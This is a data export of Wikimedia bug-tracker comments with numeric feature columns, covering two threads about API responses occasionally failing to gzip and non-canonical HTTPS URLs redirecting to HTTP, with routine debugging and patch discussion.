148110,Regression: API categorymembers and login occasionally fails to gzip/compress responses,Even more sounds like a bad server,,,1318394620,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-vkusgvsgjlp6uuqsft42,task_subcomment,,True,c2,1,True,,,-98,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,4.0,1.0,Even more sounds like a bad server
148105,Regression: API categorymembers and login occasionally fails to gzip/compress responses,"I experienced this bug as well yesterday, but the issues appear to have gone away. All the test cases I ran just now succeeded.  Despite this, it may still be worth looking into; bugs do not just magically appear and then disappear.",,,1318393549,,PHID-USER-5vgiaxcu6ineiv2z2vdk,False,,,PHID-TASK-vkusgvsgjlp6uuqsft42,task_subcomment,,True,c2,1,False,,,-98,True,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,6.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,8.0,2.0,4.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.8979591836734695,0.8367346938775511,"I experienced this bug as well yesterday, but the issues appear to have gone away. All the test cases I ran just now succeeded.  Despite this, it may still be worth looking into; bugs do not just magically appear and then disappear."
148100,Regression: API categorymembers and login occasionally fails to gzip/compress responses,"(In reply to comment #4)
> Accept-Encoding=gzip is optional for the server. You should not insist on that,
> because the server can you also send an uncompress result.

Sorry, that is wrong, but makes the world easy.

http://www.ietf.org/rfc/rfc2068.txt - 14.3 Accept-Encoding
If an Accept-Encoding header is present, and if the server cannot send a response which is acceptable according to the Accept-Encoding header, then the server SHOULD send an error response with the 406 (Not Acceptable) status code.",,,1318357052,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-vkusgvsgjlp6uuqsft42,task_subcomment,,True,c2,1,False,,,-99,True,0.0,0.0,0.0,0.0,2.0,6.0,4.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,18.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,10.0,4.0,19.0,2.0,2.0,12.0,0.0,0.0,0.0,1.0,4.0,0.0,4.0,0.0,0.0,8.0,9.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,3.675,0.6375,"(In reply to comment #4)
QUOTE
QUOTE

Sorry, that is wrong, but makes the world easy.

URL - 14.3 Accept-Encoding
If an Accept-Encoding header is present, and if the server cannot send a response which is acceptable according to the Accept-Encoding header, then the server SHOULD send an error response with the 406 (Not Acceptable) status code."
148094,Regression: API categorymembers and login occasionally fails to gzip/compress responses,"Accept-Encoding=gzip is optional for the server. You should not insist on that, because the server can you also send an uncompress result.

Check with

""gzip"".equals( connection.getHeaderField( ""Content-Encoding"" ) )

if the server send you an gzipped result and you have to wrap your InputStream into a GZIPInputStream or not.",,,1318356528,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-vkusgvsgjlp6uuqsft42,task_subcomment,,True,c2,1,False,,,-99,True,0.0,0.0,0.0,0.0,3.0,4.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,3.0,0.0,1.0,7.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,12.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,10.0,9.0,0.0,4.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.208955223880597,0.7014925373134329,"Accept-Encoding=gzip is optional for the server. You should not insist on that, because the server can you also send an uncompress result.

Check with

""gzip"".equals( connection.getHeaderField( ""Content-Encoding"" ) )

if the server send you an gzipped result and you have to wrap your InputStream into a GZIPInputStream or not."
148087,Regression: API categorymembers and login occasionally fails to gzip/compress responses,"**ted** wrote:

@Reedy: in MER-C's example, three of 25 requests fail. I was seeing some level of errors, now when I run that script all 25 succeed.

Keep in mind this isn't/wasn't a problem with 'categorymembers', it is/was a general problem.",,,1318356415,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-vkusgvsgjlp6uuqsft42,task_subcomment,,True,c2,1,False,,,-99,True,3.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,3.0,6.0,2.0,0.0,0.0,3.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,9.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,5.0,8.0,3.0,0.0,3.0,0.0,5.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,3.265625,0.734375,"**ted** wrote:
SCREEN_NAME: in MER-C's example, three of 25 requests fail. I was seeing some level of errors, now when I run that script all 25 succeed.

Keep in mind this isn't/wasn't a problem with 'categorymembers', it is/was a general problem."
148079,Regression: API categorymembers and login occasionally fails to gzip/compress responses,"How occasionally is occasionally?

Seems it might be more likely we've got a bad API Apache",,,1318350636,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-vkusgvsgjlp6uuqsft42,task_subcomment,,True,c2,1,True,,,-99,True,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,21.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,4.052631578947368,0.9473684210526315,"How occasionally is occasionally?

Seems it might be more likely we've got a bad API Apache"
148073,Regression: API categorymembers and login occasionally fails to gzip/compress responses,"Created attachment 9214
Output of test program

Attached output, I forgot that bugzilla wraps lines. (And I can't edit it out.)

**Attached**: {F8126}",,,1318324554,,PHID-USER-7i3ugree666xnpuicp4p,False,,,PHID-TASK-vkusgvsgjlp6uuqsft42,task_subcomment,,True,c2,1,False,,,-99,True,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,8.0,8.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.358974358974359,0.8205128205128205,"Created attachment 9214
Output of test program

Attached output, I forgot that bugzilla wraps lines. (And I can't edit it out.)

**Attached**: {F8126}"
33369,Non-canonical HTTPS URLs quietly redirect to HTTP,"https://mediawiki.org redirects to http://www.mediawiki.org/ currently. This is wrong and should be fixed.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=68553",High,80.0,1317793500,1400128227.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_description,resolved,True,c2,1,True,False,False,-99,True,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4047619047619047,0.5476190476190477,"URL redirects to URL currently. This is wrong and should be fixed.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
153186,Non-canonical HTTPS URLs quietly redirect to HTTP,See Also: https://bugzilla.wikimedia.org/show_bug.cgi?id=68554,,,1406264933,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,47,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,75.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.75,1.0,See Also: URL
153179,Non-canonical HTTPS URLs quietly redirect to HTTP,"**sumanah** wrote:

Thanks to everyone who raised or worked on this issue - you have helped keep our users safer.",,,1400159182,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,37,True,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,3.5185185185185186,0.8888888888888888,"**sumanah** wrote:

Thanks to everyone who raised or worked on this issue - you have helped keep our users safer."
153173,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to Matthew Flaschen from comment #76)
> aa.wikipedia.com still doesn't work, but that's really bug 40998.

I meant to say aa.wikiversity.com (the one mentioned earlier), but actually neither work.",,,1400128347,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,3.0,13.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,4.032258064516129,0.9032258064516129,"(In reply to Matthew Flaschen from comment #76)
QUOTE

I meant to say aa.wikiversity.com (the one mentioned earlier), but actually neither work."
153167,Non-canonical HTTPS URLs quietly redirect to HTTP,"Now fixed, based on testing the prior examples from this thread, plus a couple extras.

aa.wikipedia.com still doesn't work, but that's really bug 40998.

Reopen if you find one that still has the issue.",,,1400128227,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,37,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,16.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,5.0,2.0,5.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,9.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.909090909090909,0.8181818181818182,"Now fixed, based on testing the prior examples from this thread, plus a couple extras.

aa.wikipedia.com still doesn't work, but that's really bug 40998.

Reopen if you find one that still has the issue."
153159,Non-canonical HTTPS URLs quietly redirect to HTTP,"Change 106109 merged by Tim Starling:
final (I hope!) fix for protorel redirects

https://gerrit.wikimedia.org/r/106109",,,1400035818,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,37,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,15.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.05,1.0,"Change 106109 merged by Tim Starling:
final (I hope!) fix for protorel redirects

GERRIT_URL"
153150,Non-canonical HTTPS URLs quietly redirect to HTTP,"Lowering prio (thanks for the ping, Andre). Letting Jeremy/Ops take it from here. Chris Steipp can review if needed.",,,1393280789,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,25,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,26.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,19.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.6296296296296298,0.9259259259259259,"Lowering prio (thanks for the ping, Andre). Letting Jeremy/Ops take it from here. Chris Steipp can review if needed."
153140,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to Gerrit Notification Bot from comment #64)
> https://gerrit.wikimedia.org/r/106109

jeremyb: Patch should be split into several patches - anybody willing to do this?

Greg: You set this to highest priority half a year ago. Is the importance still correct?",,,1393239017,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,25,True,2.0,2.0,0.0,2.0,0.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,18.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,2.0,12.0,10.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.8627450980392157,0.8823529411764706,"(In reply to Gerrit Notification Bot from comment #64)
QUOTE

jeremyb: Patch should be split into several patches - anybody willing to do this?

Greg: You set this to highest priority half a year ago. Is the importance still correct?"
153132,Non-canonical HTTPS URLs quietly redirect to HTTP,"For the Toolserver redirects to come, I wrote Gerrit change #108467 if that's useful for this bug.",,,1390253515,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,20,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,19.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,5.0,0.0,14.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,5.0,19.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9047619047619047,1.0,"For the Toolserver redirects to come, I wrote Gerrit change #108467 if that's useful for this bug."
153123,Non-canonical HTTPS URLs quietly redirect to HTTP,"As I suggested on IRC, I think this is an area where defined test cases would be very helpful, arguably essential.",,,1389940699,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,20,True,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,8.0,17.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.9166666666666665,0.9166666666666666,"As I suggested on IRC, I think this is an area where defined test cases would be very helpful, arguably essential."
153114,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #69)
> Shouldn't the response header for a HEAD request be identical to that for a
> GET
> request?

Probably the same most of the time. Not saying HEAD testing is worthless but the first thing to test should be something that more closely approximates actual usage in the wild.",,,1389885326,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,20,True,0.0,2.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,10.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,15.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,3.9166666666666665,0.8125,"(In reply to comment #69)
QUOTE
QUOTE
QUOTE

Probably the same most of the time. Not saying HEAD testing is worthless but the first thing to test should be something that more closely approximates actual usage in the wild."
153105,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #68)
> 
> Most UAs encountering these redirects will be sending GETs. Your tests used
> HEAD. Why not use what most UAs will be using?

Shouldn't the response header for a HEAD request be identical to that for a GET request?",,,1389764572,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,20,True,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,21.0,0.0,0.0,12.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,15.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,0.7575757575757576,"(In reply to comment #68)
QUOTE
QUOTE
QUOTE

Shouldn't the response header for a HEAD request be identical to that for a GET request?"
153097,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #67)
> Why?

Most UAs encountering these redirects will be sending GETs. Your tests used HEAD. Why not use what most UAs will be using?",,,1389763774,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,20,True,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,25.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,11.0,0.0,3.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,8.0,0.0,6.0,0.0,3.611111111111111,0.8888888888888888,"(In reply to comment #67)
QUOTE

Most UAs encountering these redirects will be sending GETs. Your tests used HEAD. Why not use what most UAs will be using?"
153090,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #66)
> (In reply to comment #65)
>> (In reply to comment #63)
>> Please use curl -vs | grep rather than curl -Is
> 
> (make that curl -vs 2>&1 >/dev/null | grep)

Why?",,,1389763630,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,20,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,10.0,14.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7142857142857144,0.6190476190476191,"(In reply to comment #66)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Why?"
153084,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #65)
> (In reply to comment #63)
> Please use curl -vs | grep rather than curl -Is

(make that curl -vs 2>&1 >/dev/null | grep)",,,1389763288,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,20,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,8.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.730769230769231,0.8461538461538461,"(In reply to comment #65)
QUOTE
QUOTE

(make that curl -vs 2>&1 >/dev/null | grep)"
153077,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #63)
Please use curl -vs | grep rather than curl -Is",,,1389763225,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,20,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,5.0,5.0,0.0,0.0,16.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1578947368421053,0.9473684210526315,"(In reply to comment #63)
Please use curl -vs | grep rather than curl -Is"
153069,Non-canonical HTTPS URLs quietly redirect to HTTP,"Change 106109 had a related patch set uploaded by Jeremyb:
final (I hope!) fix for protorel redirects

